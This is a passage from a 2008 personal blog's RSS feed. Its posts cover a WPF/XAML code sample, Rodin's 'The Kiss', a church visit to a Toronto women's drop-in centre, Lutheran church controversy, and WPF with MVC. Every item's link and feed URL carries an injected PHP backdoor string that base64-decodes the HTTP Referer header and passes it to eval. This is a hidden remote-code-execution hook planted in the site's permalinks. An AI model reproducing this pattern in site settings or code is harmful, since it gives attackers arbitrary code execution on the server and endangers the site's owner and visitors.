        InitializeComponent<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
        mViewModel = <a href="http://www.google.com/search?q=new+msdn.microsoft.com"><span style="color: #008000;">new</span></a> ApplicationViewModel<span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span>;
        DataContext = mViewModel;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button1_CanExecute<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, CanExecuteRoutedEventArgs e<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        e.<span style="color: #0000FF;">CanExecute</span> = <span style="color: #0600FF;">true</span>;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button1_Executed<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, ExecutedRoutedEventArgs e<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        MessageBox.<span style="color: #0000FF;">Show</span><span style="color: #000000;">&#40;</span><span style="color: #808080;">&quot;Text is: &quot;</span> + mViewModel.<span style="color: #0000FF;">EditBoxContents</span>, <span style="color: #808080;">&quot;Button Pressed&quot;</span><span style="color: #000000;">&#41;</span>;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button2_CanExecute<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, CanExecuteRoutedEventArgs e<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        e.<span style="color: #0000FF;">CanExecute</span> = <span style="color: #0600FF;">true</span>;
    <span style="color: #000000;">&#125;</span>
&nbsp;
    <span style="color: #0600FF;">private</span> <span style="color: #0600FF;">void</span> Button2_Executed<span style="color: #000000;">&#40;</span><span style="color: #FF0000;">object</span> sender, ExecutedRoutedEventArgs e<span style="color: #000000;">&#41;</span>
    <span style="color: #000000;">&#123;</span>
        mViewModel.<span style="color: #0000FF;">EditBoxContents</span> = <span style="color: #808080;">&quot;Reset&quot;</span>;
    <span style="color: #000000;">&#125;</span>
<span style="color: #000000;">&#125;</span>
&nbsp;</pre>
<p>This is what XAML code looks like:</p>
<pre class="xml">&nbsp;
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Application</span> <span style="color: #000066;">x:Class</span>=<span style="color: #ff0000;">&quot;DemoApplication.App&quot;</span>
    <span style="color: #000066;">xmlns</span>=<span style="color: #ff0000;">&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot;</span>
    <span style="color: #000066;">xmlns:x</span>=<span style="color: #ff0000;">&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot;</span>
    <span style="color: #000066;">StartupUri</span>=<span style="color: #ff0000;">&quot;Window1.xaml&quot;</span><span style="font-weight: bold; color: black;">&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Application</span>.Resources<span style="font-weight: bold; color: black;">&gt;</span></span>
    <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Application</span>.Resources<span style="font-weight: bold; color: black;">&gt;</span></span>
<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Application<span style="font-weight: bold; color: black;">&gt;</span></span></span>
&nbsp;</pre>
<p>
Normally I use Word 2007 to write the blog entries, it is very convenient.  However, you can't use it to post code, as it does not make the round trip (loading, editing, saving) without royally screwing up. <img src='http://brunzema.com/blog/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' title="A way to show computer source code in the blog..." />
</p>
<p><span id="more-78"></span></p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/06/test-scr/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Auguste Rodin</title>
		<link>http://brunzema.com/blog/2008/05/05/auguste-rodin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://brunzema.com/blog/2008/05/05/auguste-rodin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 05 May 2008 12:03:43 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Art]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=77</guid>
		<description><![CDATA[Auguste Rodin (born François-Auguste-René Rodin; November 12, 1840 – November 17, 1917) was a French artist, most famous as a sculptor. He was the preeminent French sculptor of his time, and remains one of the few sculptors widely recognized outside the visual arts community.

I really like this work of art, called "The Kiss" – look [...]]]></description>
			<content:encoded><![CDATA[<p>Auguste Rodin (born François-Auguste-René Rodin; November 12, 1840 – November 17, 1917) was a French artist, most famous as a sculptor. He was the preeminent French sculptor of his time, and remains one of the few sculptors widely recognized outside the visual arts community.
</p>
<p>I really like this work of art, called "<a href="http://en.wikipedia.org/wiki/Rodin">The Kiss</a>" – look at the gentle, almost hesitant way the man's hand is placed on the woman's thigh, and the way the woman holds her arm to embrace and approach her lover with a mixture of submission and desire. The sculpture radiates erotic energy; look at the way the man's muscular arms, the woman's back and legs and how the feet of both figures are sculpted. This shows how much of a genius Rodin really was.
</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/05/050508-1203-augusterodi1.png" alt="050508 1203 augusterodi1 Auguste Rodin"  title="Auguste Rodin" /></p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/05/auguste-rodin/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>416 Community Drop-In for Women</title>
		<link>http://brunzema.com/blog/2008/05/04/416-community-drop-in-for-women/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://brunzema.com/blog/2008/05/04/416-community-drop-in-for-women/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 05 May 2008 01:55:49 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Christian]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=67</guid>
		<description><![CDATA[
















As part of the outreach committee of our Church, we are trying to find new ways of interacting with the community around us.  One of the criticisms of our community is that it is a too inward-focused ministry, and we are trying to change this.  The last time, the outreach committee met at [...]]]></description>
			<content:encoded><![CDATA[<div>
<table style="border-collapse:collapse" border="0">
<colgroup>
<col style="width:173px"/>
<col style="width:465px"/></colgroup>
<tbody valign="top">
<tr>
<td style="padding-left: 7px; padding-right: 7px">
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/05/050508-0155-416communit14.png" alt="050508 0155 416communit14 416 Community Drop In for Women"  title="416 Community Drop In for Women" /></p>
</td>
<td style="padding-left: 7px; padding-right: 7px">
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/05/050508-0155-416communit24.png" alt="050508 0155 416communit24 416 Community Drop In for Women"  title="416 Community Drop In for Women" /></p>
</td>
</tr>
</tbody>
</table>
</div>
<p>As part of the outreach committee of our <a href="http://www.firstlutherantoronto.com">Church</a>, we are trying to find new ways of interacting with the community around us.  One of the criticisms of our community is that it is a too inward-focused ministry, and we are trying to change this.  The last time, the outreach committee met at the "<a href="http://www.416dropincentre.com">416 Community Drop</a>-in for women" at 416 Dundas Street East, close to Dundas and Parliament.  The executive director, Rosie Smythe greeted us, and Pastor Schweter, Ed, Karin, Stephanie and myself asked her some questions regarding the operation of the drop-in – what they do and what their needs are.  She also showed us the facility, housed in an old three storey Victorian-style house. This organization is not faith-based like the "Gateway" Salvation Army men's shelter that we had visited on an earlier occasion.
</p>
<p>The drop-in is a facility targeting women 30 years of age and older (and transgendered persons) and is open from 8:00am to about 4:00pm seven days a week. They serve breakfast and lunch to more than 60 women on a daily basis.  The clientele that frequents the drop-in are "difficult to serve" kind, because many of them have moderate to not so moderate mental illness, alcohol and/or drug dependencies and other problems.  The facility offers medical services; a nurse and doctor are available two days a week.  They also have a food bank program, every Thursday the drop in gets food from the daily bread food bank. This food then gets redistributed to the women in need.  In addition, they have laundry facilities, and a possibility for the women to bathe and/or shower, with or without assistance.  For staff, they have a couple of workers working, a cook, a driver &amp; general caretaker, the nurse and the director. The salaries of the staff are paid for by the Ontario Government, but the operating costs are financed through donations. The drop-in also has an art therapy program, and the women like to do a weekly karaoke. In addition to this, the facility gives out clothes to women both for emergency clothing as well as for normal needs. The drop-in is always looking for women's clothing, also in larger sizes, but it should be either new or clean and in excellent shape – just giving these women worn hand-me downs does not help their self-esteem.
</p>
<p>When we asked how we could help, Rosie said they're looking for a number of things.  Since the facility has to pay the running costs such as electricity, general repairs etc, they do appreciate cash donations – since they are a registered charity it is tax deductible for the donor. They are also looking for volunteers to help out with kitchen clean-up work, contact the drop in 416-964-6936 if you wish to help out. She also told us they need bath towels, since sometimes towels have a tendency to 'walk' after the clients have bathed.  This is an area where our Church can help in a small way, and we are planning to have a "towel" drive later this year.  Another area where we think we will be able to help is to buy the drop-in four large turkeys for their Christmas dinner.
</p>
<p>As the director of the "Gateway" shelter for men put it – "If the Church was doing its job, I'd be out of a job, and that would be a good thing".  But let us try baby steps first.</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/04/416-community-drop-in-for-women/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Is there still room for orthodox Christians in the ELCIC?</title>
		<link>http://brunzema.com/blog/2008/05/03/is-there-still-room-for-orthodox-christians-in-the-elcic/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://brunzema.com/blog/2008/05/03/is-there-still-room-for-orthodox-christians-in-the-elcic/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 04 May 2008 02:43:32 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Christian]]></category>
		<category><![CDATA[ELCIC]]></category>
		<category><![CDATA[false teachings]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=59</guid>
		<description><![CDATA[Yesterday, I got to read a letter of resignation – not the usual quitting your job or political appointment, but a letter of a woman resigning from her Lutheran Church Parish, and the ELCIC (Evangelical Lutheran Church In Canada).  The letter touched and worried me at the same time, and it addresses a topic [...]]]></description>
			<content:encoded><![CDATA[<p><img align="left" src="http://brunzema.com/blog/wp-content/uploads/2008/05/050408-0243-istherestil1.png" alt="050408 0243 istherestil1 Is there still room for orthodox Christians in the ELCIC?"  title="Is there still room for orthodox Christians in the ELCIC?" />Yesterday, I got to read a letter of resignation – not the usual quitting your job or political appointment, but a letter of a woman resigning from her Lutheran Church Parish, and the ELCIC (Evangelical Lutheran Church In Canada).  The letter touched and worried me at the same time, and it addresses a topic that I have touched upon in an earlier post entitled <a href="http://brunzema.com/blog/?p=17">Beware of false teachings</a>. Here is a little excerpt from the letter:
</p>
<p><span style="font-size:10pt"><em>"If I were to lay out all the reasons for my resignation it would take many pages to write out. My reasons will come as absolutely no surprise to most of you.  I have openly and publicly expressed my concerns about the direction that the ELCIC has been heading these past few years.   Three and a half years ago I could never have imagined what has transpired since then.  This has been the most horrific experience of my life, bar none.  Some of you who read the BC synod's forum called Grace Words (GW) are more than aware of my position as I have been a frequent contributor since I joined in June 07.    This site has been the final straw.   I can't fathom that there are debates about whether or not Mary was a virgin when she conceived Jesus, if Jesus is or isn't the only way to the Father, that hell may or may not exist, that everyone will go to heaven regardless of their beliefs or unbelief, etc., and many other debates about what I mistakenly thought were core beliefs.  Everything has become iffy.  We are left with the end result that the Bible can't be trusted, there is no Truth, and everything is relative. We've been given piles of reasons on Grace Words why much of the Bible is incorrect, or misinterpreted, or is not saying what it so very clearly states.    And all of this is coming from pastors / theologians on GW!  The material I have read on Grace Words makes the old debate about same sex blessings seem like the good old days in comparison."<br />
</em></span></p>
<p>The letter illustrates the increasing difficulty that orthodox Lutheran Christians face within the larger Church, and that many Pastors and Theologians are starting to re-evaluate some of the core tenants of our faith.  Personally, I believe that God gave us the Bible, a book written by men, but inspired by the Spirit of God. This book's purpose is to teach us how we can get right with God, and I believe it has been written in such a way so that even people without a degree in theology can understand it.  I think it is wrong when biblical passages get reinterpreted by the 'experts' in an exactly opposite way as what the text says literally.  The letter of resignation concludes with the following:
</p>
<p><span style="font-size:9pt"><em>"At [congregation name], we have not "taken a stand against the devil's schemes" (Ephesians 6:11).  We have sat by and have accepted all that is going on around us without taking a formal stand.  What kind of faith/religion are we in the ELCIC leaving for those who follow?  Did not others who went before us defend the faith so that we could all have something precious and true?  What are we doing with this precious faith while on our watch?  We are not defending the faith and people's salvation is at stake."<br />
</em></span></p>
<p style="margin-left: 144pt"><span style="font-size:10pt">Watch out for false prophets. They come to you in sheep's clothing, but inwardly they are ferocious wolves. By their fruit you will recognize them. Do people pick grapes from thorn bushes, or figs from thistles? Likewise every good tree bears good fruit, but a bad tree bears bad fruit. A good tree cannot bear bad fruit, and a bad tree cannot bear good fruit. Every tree that does not bear good fruit is cut down and thrown into the fire. Thus, by their fruit you will recognize them.  Matthew 7, 15-20<em><br />
			</em></span></p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/03/is-there-still-room-for-orthodox-christians-in-the-elcic/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Windows Presentation Foundation and Model View Controller</title>
		<link>http://brunzema.com/blog/2008/05/03/wpf-and-mvc/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://brunzema.com/blog/2008/05/03/wpf-and-mvc/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 03 May 2008 17:28:01 +0000</pubDate>
		<dc:creator>brunzefb</dc:creator>
				<category><![CDATA[Computers - General]]></category>

		<guid isPermaLink="false">http://brunzema.com/blog/?p=53</guid>
		<description><![CDATA[A while back, Josh Smith wrote an article on Unit Testing and Model View Controller. The article features a small application that lets the user view some sample images.  The WPF application uses and discusses the Model View Controller.  While my kids were at swimming today, I analyzed the source code, to try [...]]]></description>
			<content:encoded><![CDATA[<p>A while back, Josh Smith wrote an <a href="http://www.codeproject.com/KB/WPF/MVCtoUnitTestinWPF.aspx">article</a> on Unit Testing and Model View Controller. The article features a small application that lets the user view some sample images.  The WPF application uses and discusses the Model View Controller.  While my kids were at swimming today, I analyzed the source code, to try to understand what's going on.  There is not really that much source code there, but understanding what's going on requires that you understand WPF fairly well [try to figure out how the text items get into the list box, for instance]. I have tried to diagram my understanding of what's happening.
</p>
<p><img src="http://brunzema.com/blog/wp-content/uploads/2008/05/050308-1328-wpfandmvc12.png" alt="050308 1328 wpfandmvc12 Windows Presentation Foundation and Model View Controller"  title="Windows Presentation Foundation and Model View Controller" />
	</p>
<p>
 </p>
<p>All this leads me to think about Unit Testing and WPF, and the question: Is unit testing worthwhile for UI?  And at what point in time (or complexity) does it make sense to use the MVC or Model View-View-Model-Model pattern?
</p>
<p>What do you think? – leave a comment.</p>
]]></content:encoded>
			<wfw:commentRss>http://brunzema.com/blog/2008/05/03/wpf-and-mvc/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
